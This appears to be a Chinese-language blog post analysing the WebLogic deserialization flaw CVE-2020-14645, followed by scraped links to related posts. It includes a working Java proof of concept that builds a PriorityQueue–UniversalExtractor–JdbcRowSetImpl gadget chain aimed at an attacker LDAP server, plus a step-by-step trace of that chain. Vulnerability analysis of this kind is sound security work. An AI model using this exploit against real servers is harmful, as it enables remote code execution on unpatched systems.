Weblogic漏洞分析之JNDI注入-CVE-2020-14645

Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。

该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将MvelExtractorReflectionExtractor列入黑名单,因此需要另外寻找一个存在extract且方法内存在恶意操作的类即可绕过补丁。

这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能影响 Weblogic 12.2.1.4.x。

1)影响范围

Oracle WebLogic Server 12.2.1.4.0

2)漏洞复现

这里使用JNDI-Injection-Exploit工具开启一个ldap服务端

https://github.com/welk1n/JNDI-Injection-Exploit

这里使用了Y4er师傅的poc,生成poc文件,使用t3协议发送

package com.yyhuni;

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue; public class Test {
public static void main(String[] args) throws Exception {
// CVE_2020_14645
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor); JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); Object[] q = new Object[]{rowSet, rowSet}; Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,q); Field queue2 = queue.getClass().getDeclaredField("size");
queue2.setAccessible(true);
queue2.set(queue,2); //serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close(); //unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}

弹出计算器:

3)漏洞分析

UniversalExtractor#extract中,利用了invoke调用 JdbcRowSetImpl#getDatabaseMetaData方法导致 JDNI 远程动态类加载。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的。

gadget链:

 - PriorityQueue#readObject
- ExtractorComparator#compare
- this.m_extractor.extract
- UniversalExtractor#extract
- UniversalExtractor#extractComplex
- method.invoke#205
- JdbcRowSetImpl#getDatabaseMetaData

下面就分别解析PriorityQueue、ExtractorComparator、UniversalExtractor、JdbcRowSetImpl这四个类是怎么进行串联产生调用关系的

3.1 JdbcRowSetImpl

JdbcRowSetImpl中,调用其getDatabaseMetaData方法,会进行lookup的操作

可以看到,如果this.getDataSourceName()参数可控,则会产生JNDI注入

3.2 UniversalExtractor

使用此类的目的是,此类的extract方法,可以调用到JdbcRowSetImplgetDatabaseMetaData方法

构造方法

先来看UniversalExtractor的构造函数,在payload中传入了三个参数sName、aoParam、nTarget做了哪些操作

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

如果第一个if判断为true的话,则会抛出异常。所以传入的aoParam值为null,会跳转到else中

跳转到else中,分别给m_sName、m_aoParam、m_nTarget赋值,接着调用了this.init()

跟进this.init()

148行调用了getCanonicalName方法,把返回值传给了sCName,跟进getCanonicalName

86行的Lambdas.getValueExtractorCanonicalName(this)是判断this是否为AbstractRemotableLambda类型,此处就不跟入了,它的返回值是null。

所以进入了88行的if语句中,CanonicalNames.computeValueExtractorCanonicalName(this.m_sName, this.m_aoParam);

跟进computeValueExtractorCanonicalName方法

这里三个框分别解释下

  1. 如果aoParam 不为 null 且数组长度大于0就会返回 null ,此处aoParam是我们传入的null,不满足条件,进入else

  2. 如果方法名 sName 不以 () 结尾,则直接返回方法名,我们sName的值是getDatabaseMetaData(),不满足条件,进入else

  3. 如果方法名以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头得话,会截取掉并返回,查看到数组中的元素有get、is,所以截取掉了getDatabaseMetaData()前面的get,最终返回了databaseMetaData

最终返回的databaseMetaData会赋值给init方法中的sCName

接下来一行把this.m_fMethod赋值为了false

到这里UniversalExtractor的构造函数就已经执行完了。接下来看下UniversalExtractorextract方法

extract方法

extract方法中,传入了oTarget,调用了extractComplex方法,跟进extractComplex方法

extractComplex方法中有使用到反射调用oTarget的任意方法method.invoke(oTarget, aoParam),而这里有三个参数分别是method、oTarget、aoParam,需要对这三个参数可控才可以调用到JdbcRowSetImplgetDatabaseMetaData方法。

现在来拆解extract方法,来理解这个extract方法是怎么一步步调用到最后的invoke的。

第一个if语句判断oTarget的值是不是等于null

从而走进else中,第二个if语句判断targetPrev的值如果为null,则走进else中,显然在69行,targetPrev被赋予了一个默认值null

接着在else中就是调用了this.extractComplex(oTarget)

跟进extractComplex

开头几行分别是对一些变量进行赋值

clzTarget为com.sun.rowset.JdbcRowSetImpl的class对象
aoParam为null
clzParam为null
sCName为databaseMetaData
fProperty为true

这里就解释下fProperty为什么是true,可以在isPropertyExtractor方法中看到,取反this.m_fMethod,而this.m_fMethod则是在前面init中被赋予了false

所以186行第一个if语句进入了true

sBeanAttribute的值为sCName第一个首字母变成大写后的值DatabaseMetaData

重点看for循环里面的内容,因为此内容拿到了关键的method

在BEAN_ACCESSOR_PREFIXES中有get、is方法,for循环遍历拿到clzTarget对象(com.sun.rowset.JdbcRowSetImpl)的get,is + sBeanAttribute(DatabaseMetaData)方法,然后赋值给了method

最后进行了method.invoke(oTarget, aoParam)

method值为getDatabaseMetaData

oTarget值为JdbcRowSetImpl

aoParam值为null

接下来就是调用到了JdbcRowSetImplgetDatabaseMetaData方法造成了JNDI注入

3.3 ExtractorComparator

ExtractorComparator类的compare方法会去调用UniversalExtractor#extract,并且传入了o1,而此处的o1则是最后UniversalExtractor的oTarget(JdbcRowSetImpl)

3.4 PriorityQueue

PriorityQueue类是此漏洞的入口,其以readObject为入口,最后调用到ExtractorComparator#compare方法,下面是PriorityQueue的调用链

readObject
->heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare

这里有几个注意点:

comparator的值为PriorityQueue的构造函数中传入

comparator.compare(x, (E) c)中x和c的值都是在queue数组中获得

最后一点是size的值要大于等于2,不然不会进入while语句中

最后构造出整个漏洞的调用链

入口在PriorityQueue#readObject
-》 ExtractorComparator#compare
-》 this.m_extractor.extract
-》 UniversalExtractor#extract
-》 UniversalExtractor#extractComplex
-》 method.invoke#205
-》 JdbcRowSetImpl#getDatabaseMetaData

4)修复方式

安装Weblogic补丁:p31537019_122140_Generic

5)参考

https://www.anquanke.com/post/id/210724

https://nosec.org/home/detail/4524.html

https://paper.seebug.org/1280/#cve-2020-2883

https://github.com/Y4er/CVE-2020-14645

Weblogic漏洞分析之JNDI注入-CVE-2020-14645的更多相关文章

  1. weblogic漏洞分析之CVE-2021-2394

    weblogic漏洞分析之CVE-2021-2394 简介 Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP.T ...

  2. weblogic漏洞分析之CVE-2016-0638

    weblogic漏洞分析之CVE-2016-0638 一.环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/151370 ...

  3. weblogic漏洞分析之CVE-2017-10271

    weblogic漏洞分析之CVE-2017-10271 一.环境搭建 1)配置docker 这里使用vulhub的环境:CVE-2017-10271 编辑docker-compose.yml文件,加入 ...

  4. weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628

    CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已,所以poc都一样,只是使用的payload不同 本机开启JRMP服务端 ->利用T ...

  5. ECShop全系列版本远程代码执行高危漏洞分析+实战提权

    漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...

  6. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

  7. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  8. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  9. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

随机推荐

  1. Python中比较运算符连用的语法规则

    在Python中,比较运用符<.>.<=.>=.== .!=可以连用,但语法规则和其它编程语言不一样 以 == 为例,具体语法规则是: a == b == c == d 等价于 ...

  2. JavaScript关于返回数据类型一个小小的笔记

    Javascript关于返回数据类型的一个小笔记 javascript数据类型有两种. 一种是基本数据类型:String.Number.Boolean.Symbol.Underfine.Null 一种 ...

  3. 使用各类BeanUtils的时候,切记注意这个坑!

    在日常开发中,我们经常需要给对象进行赋值,通常会调用其set/get方法,有些时候,如果我们要转换的两个对象之间属性大致相同,会考虑使用属性拷贝工具进行. 如我们经常在代码中会对一个数据结构封装成DO ...

  4. Golang语言系列-04-运算符

    运算符 Go语言内置的运算符有 算术运算符 关系运算符 逻辑运算符 位运算符 赋值运算符 算术运算符 package main import "fmt" func main() { ...

  5. SQL 练习6

    查询在 SC 表存在成绩的学生信息 SELECT * from Student WHERE SId in (SELECT SId from SC)

  6. noip23

    T1 好吧,题目很sb,描述告诉你序列无限长,输入格式里告诉你m为序列长度,我:????,选择了相信后者.然后连暴力都挂分,可恶 这题一看就是个毒瘤数据结构题,思索了一下,发现就是个线段树,但我又想到 ...

  7. request库的简单使用

    7种基本用法 首先安装requests库 如果你本地只有一个python环境直接运行pip install requests 像我本地装了3个不同的python怎么使你安装在你想要安装的python下 ...

  8. Spring中常用重要的接口

    Spring (ApplicationContext 初始化Bean的方法 refresh()) public void refresh() throws BeansException, Illega ...

  9. Windows系统搭建Redis集群三种模式(零坑、最新版)

    目录 主从复制 修改配置文件 启动各节点 验证 哨兵模式 修改配置文件 启动实例 验证 集群模式 修改配置文件 启动实例 验证 主从复制 新建以下三个目录,用来部署一主二从 redis 的安装在另外一 ...

  10. SpringBoot数据访问之整合mybatis注解版

    SpringBoot数据访问之整合mybatis注解版 mybatis注解版: 贴心链接:Github 在网页下方,找到快速开始文档 上述链接方便读者查找. 通过快速开始文档,搭建环境: 创建数据库: ...